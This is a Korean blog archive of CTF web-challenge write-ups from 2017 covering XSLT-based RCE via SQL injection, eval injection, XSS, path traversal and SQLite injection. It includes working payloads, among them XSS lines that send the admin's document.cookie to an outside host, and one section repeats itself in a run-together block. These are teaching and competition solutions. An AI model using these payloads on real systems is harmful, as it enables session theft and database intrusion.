2017년 11월 19일 일요일

2017년 11월 9일 목요일

[Belluminar-2017] Color-World-Write-up

Color World
PoC Belluminar 2017 에 출제한 웹 문제다.
당시 여러 기법을 공부하던 도중 XSLT라는 기법을 처음 알게돼서 공부를 하다가 출제한 거 같다.
(참고로 Belluminar 2017 는 정말 좋은 경험이었다고 생각한다.)

문제 컨셉은 XSLT를 취약하게 사용했을 때 RCE가 가능하다는 점을 통해 플래그를 가져오는 문제였다.
그냥 XSLT만 내기엔 문제가 너무 쉽다고 생각해서 SQL Injection과 연계해서 푸는 방향으로 만들었다.
XSLT는 XML문서를 다른 XML문서로 변환하는데사용하는 XML기반 언어이다. (참고)

[*] 핵심 풀이
로그인 페이지를 뚫고 메인 페이지로 오면 (로그인 페이지 우회하는 방법은 발표자료 PDF 참고)
XSLT를 사용해서 페이지의 디자인을 바꿔주는 기능이 있다.
이 때 XSLT 파일을 로드하고 registerPHPFunctions() 라는 함수를 사용하는데
위 함수를 사용하면 XSLT 파일에서 PHP 함수를 사용할 수 있게 된다. (참고)
(<html xmlns:php="http://php.net/xsl"> 라는 태그가 생기므로 위와 같은 사실을 알 수 있다)
그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데
SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다)
즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다.
Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl

벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다.
라는 태그가 생기므로 위와 같은 사실을 알 수 있다) 그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데 SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다) Exploit : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/prob/exploit/exploit7.xsl 즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다. Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl Full Write-up : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/color-world.pdf 벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다. 발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.
발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.

2017년 10월 26일 목요일

2017 Layer7 CTF Write ups


매년 열리는 Layer7 CTF, 올해 Layer7 부원이 된 나는 
2017 Layer7 CTF 문제 출제를 맡아 대회 운영을 하게 되었다.

나는 Eval injection 1개, XSS 2개 이렇게 웹 문제 총 3개를 준비했으며
문제 아이디어는 공식 레퍼런스에 올라온 함수 예제 댓글에서 취약점을 찾아서
준비한 문제 하나와, 평소에 공부하며 발견했던 버그를 오마주했다.

- Can you bypass me? - Regexp bypass, Wild card, Eval injection
Daniel's daily life blog - XSS via BBcode bypass
- Present - Javascript challenge (XSS)

Can you bypass me?





















언뜻 보면 공격이 불가능해 보이지만
preg_match의 정규식에서 /i 옵션만 주었기 때문에 개행으로 우회가 가능하다.

payload : ?eval=echo%20`cat%20flagflagflagflag.*%0a`;

이것을 막으려면 /s 옵션을 써주면 된다.


Daniel's daily life


BBcode에서 double quote를 치환해주지 않았기 때문에 escape가 가능하다.
[img]x" onerroorr=location.href="http://mydomain.com/?"+document.cookie[/img]
위와 같이 페이로드를 작성해서 어드민의 쿠키를 가져오면 된다.


present (XSS)

XSS 문제다.

contents=http://localhost/forward.php?);//*///*\=]=1;location.href="http://munsiwoo.kr/?"%252bdocument.cookie;}initialize();function%20a(){/*

위와 같이 공격이 가능하며, 어드민의 쿠키를 가져오면 된다.


2017년 10월 20일 금요일

[Power Of XX 2017] Write-ups

# Power Of XX 2017

PoC에서 주최하는 Power Of XX CTF 문제를 올해 Layer7에서 출제하게 되었다.
내가 출제한 문제는 Basic Web, sqlgame 이렇게 두 문제다.
난이도는 둘다 매우 쉽게 만들었다.

1. Basic Web (LFI + BSQLi) - Solvers : 5


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/basic_web


















exploit code :
https://github.com/munsiwoo/problems/blob/master/power_of_xx_2017/basic_web/exploit.py

2. sqlgame (SQLi) -  - Solvers : 9


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/sqlgame

















1+union+select+0x303037,1,1%23'+union+select+1,0x62616e67,schema()%23"+union+select+1,2,'007'%23

2017년 9월 20일 수요일

CSAW CTF 2017 - orange v1










1. Url encoding twice.

%2e%2e → %252e%252e

http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt
http://web.chal.csaw.io:7311/?path=%252e%2e/flag.txt


2. NodeJS unicode processing failure trick

%ef%bc%ae == %2e (True)

http://web.chal.csaw.io:7311/?path=%ef%bc%ae%2e/flag.txt
http://web.chal.csaw.io:7311/?path=%ef%bc%ae%252e/flag.txt


flag{thank_you_based_orange_for_this_ctf_challenge}






2017년 8월 4일 금요일

H3X0R CTF3 - misulgwan (100pt)

WEB - misulgwan (100pt)

made by munsiwoo



워밍업 문제 다음으로 많이 풀어주신 문제다.
php를 조금이라도 알고 있다면 쉽게 풀 수 있다.

(작품은 모두 본인이 그렸다)


 view-source



 /misulgwan/view.php?view-source



설명

$_GET['image']와 $_COOKIE['length']가 있다면
$_GET['image']의 확장자 검사를 한다.

png, jpg, bmp가 아니라면 no hack을 띄우는데
여기서 ?image=abcde.php.jpg
이렇게 하고 쿠키 length를 9로 주면
확장자 검사는 통과하고 fopen으로 여는 파일은 abcde.php가 된다.
(fpassthru는 파일 컨텐츠를 사용자에게 바로 출력해주는 함수다)

view.php에 flag is in the flag.php라고 적혀있으니
flag.php를 fopen으로 열어서 fpassthru 출력 내용을 확인하면 된다.

payload
javascript:document.cookie="length=11"
/misulgwan/view.php?image=../flag.php.png



flag : H3X0R{munhwabaek_is_back}



H3X0R CTF3 - is this possible? (1000pt)

WEB - is this possible? (1000pt)

made by munsiwoo




?go=id

풀이

go라는 테이블에 위의 순서대로 레코드가 담겨있다.
문제의 핵심은 필터 키워드를 사용하지 않고 레코드의 순서를 바꾸는 것이다.

순서를 바꾸는 방법은 여러 가지가 있는데
출제자가 의도했던 풀이 방법은 ord(), crc32(), sha1()와 같은 함수를 사용하여
기존의 레코드를 다른 값으로 바꿔서 순서를 바꾸는 것이었다.

ex) crc32("admin") == 2282622326
crc32(crc32("admin")) == 2979564489
sha1("admin") == d033e22ae348aeb5660fc2140aec35850c4da997
ord("a") == 97
ord(ord(ord("a"))) == 53

위와 같이 함수 안에 함수를 넣는 방법으로 레코드를 계속해서 바꿀 수도 있다.
이렇게 레코드값을 바꾸는 방법으로 순서를 바꿀 수 있다.

두 번째 if문은 == 연산자로 비교하므로 쉽게 우회할 수 있다.
ex) (int)19990301 == 19990301abcdef (True)
(int)19990301 == 19990301.00 (True)

payload1 (munsiwoo)
?go=crc32(crc32(crc32(crc32(id))))&foo=19990301abcdef

payload2 (adm1nkyj)
?go=(case/**/when/**/((hex(id)-6775657374)*(id-20010609)*(id-19970101))/**/then/**/id/**/else/**/0/**/end)&foo=19990301.00


flag : H3X0R{03c7c0ace30182db0795ae2c30f03d84}




2017년 8월 3일 목요일

H3X0R CTF3 - sihpc (1000pt)

WEB - sihpc (1000pt)

made by munsiwoo




(프로그래밍 대회 컨셉)


설명
우선 문제 설명의 "flag is in the db"와 힌트의 "sqlite"로
sqlite injection 이란걸 추측할 수 있다.
원래 sqlite라는 힌트가 없었지만 풀이자가 적어서 추가했다.
처음 힌트는 query error로 sqlite인걸 알 수 있게 해놨다가
다시 수정해서 그냥 hint에 sqlite를 써놨다.

출제자가 의도한건 comment로 dbms를 판별하여
그 dbms에 맞게 인젝션하는 것 이었다.

풀이
가입 후 로그인을 하면 로그인 세션과 uname이란 쿠키가 생성된다.
uname은 ID를 base64 -> hex -> base64 -> hex 순으로 인코딩 한 것이다.
"admin"을 base64 -> hex -> base64 -> hex 순으로 인코딩하면
admin으로 로그인이 가능하다.
(uname=4e546b314e7a55794e7a51324d5455334d7a517a5a413d3d)

* 사이트의 관리자 권한을 얻으면 문의 관리가 가능하다.

이제, SQL Injection 취약점을 찾으면 되는데
문의 페이지의 이메일 부분에서 SQL Injection 취약점이 발생한다.
인젝션 포인트 : insert into table_name values ('ip', '[여기]', 'contents');

hint에서 dbms가 sqlite인걸 알았으니 dbms에 알맞게 인젝션해주면 된다.

 * mysql는 information_schema에 스키마 정보를 담고있지만
sqlite는 sqlite_master에 모든 정보를 담고있다.

(sqlite_master 구조)


', (select group_concat(sql) from sqlite_master));
(문의 페이지)


iamFLAG 테이블, flag 필드 확인
(문의 관리 페이지)


'; (select flag from iamFLAG limit 1));
(문의 페이지)


(문의 관리 페이지)



payload
테이블, 필트명 확인 : ', (select group_concat(sql) from sqlite_master));
플래그 : ', (select flag from iamFLAG limit 1));

FLAG : H3X0R{mY_NamE-IS_MUNSIWOO}





2017년 7월 2일 일요일

Secuinside CTF 2017 - Mathboy7 Write up (Web)

풀이 방법

여러 테스트를 통하여 user테이블이 비어있다는 사실을 확인할 수 있다.
즉, union select를 사용해서 'admin'을 출력해야 한다.
e.g. ?id=%bf%5c&pw=union select true,true,true%23

그리고 사용할 수 있는 함수가 제한적이기 때문에
사용할 수 있는 키워드로 문자를 표현해야 한다. 아래와 같이 문자 표현이 가능하다.
e.g. mid(password(pi()),floor(pi()*pi()*floor(pi()))+ceil(pi()+pi()) = "AD"

encrypt함수를 사용하면 랜덤으로 값을 나오게 할 수 있다.
e.g. mid(encrypt(true), true, true+true+true+true+true)

여기서 위의 함수를 사용해서 admin을 표현하는 풀이 방법이 있고
encrypt함수를 사용해서 랜덤으로 admin을 표현하는 방법이 있다.
다만 랜덤으로 admin을 나오게 하려면 시간이 얼마나 걸릴지 모르기 때문에
나는 여기서 효율적으로 경우의 수를 줄이는 방법을 생각했다.

mysql ref doc을 보면 encrypt(str[, salt]) 이렇게 두번 째 인자에 salt를 받는다.
salt는 2자리만 가능한데, 삽질을 하던 중 salt에 "AA" 이렇게 넣으면
랜덤으로 나오는 문자열의 맨 앞 2자리를 "AA"로 고정시킬 수 있다는 사실을 알았다.

이러한 점을 이용해서 맨앞 2자리를 "AD"로 고정시키고
뒤의 3자리는 랜덤하게 돌리는 쪽으로 풀어나갔다.
다만 encrypt는 1초마다 랜덤값이 바뀌므로 너무 느리다.
때문에, 뒤의 3자리는 rand함수를 이용해서 admin을 표현했다.

payload
id=%bf%5c&pw=union+select+mid%28encrypt%28rand%28%29%2C+mid%28password%28pi%28%29%29%2Cfloor%28pi%28%29*pi%28%29*floor%28pi%28%29%29%29%2Bceil%28pi%28%29%2Bpi%28%29%29%2Ctrue%2Btrue%29%29%2Ctrue%2Cpi%28%29%2Btrue%2Btrue%29%2Ctrue%2Ctrue%23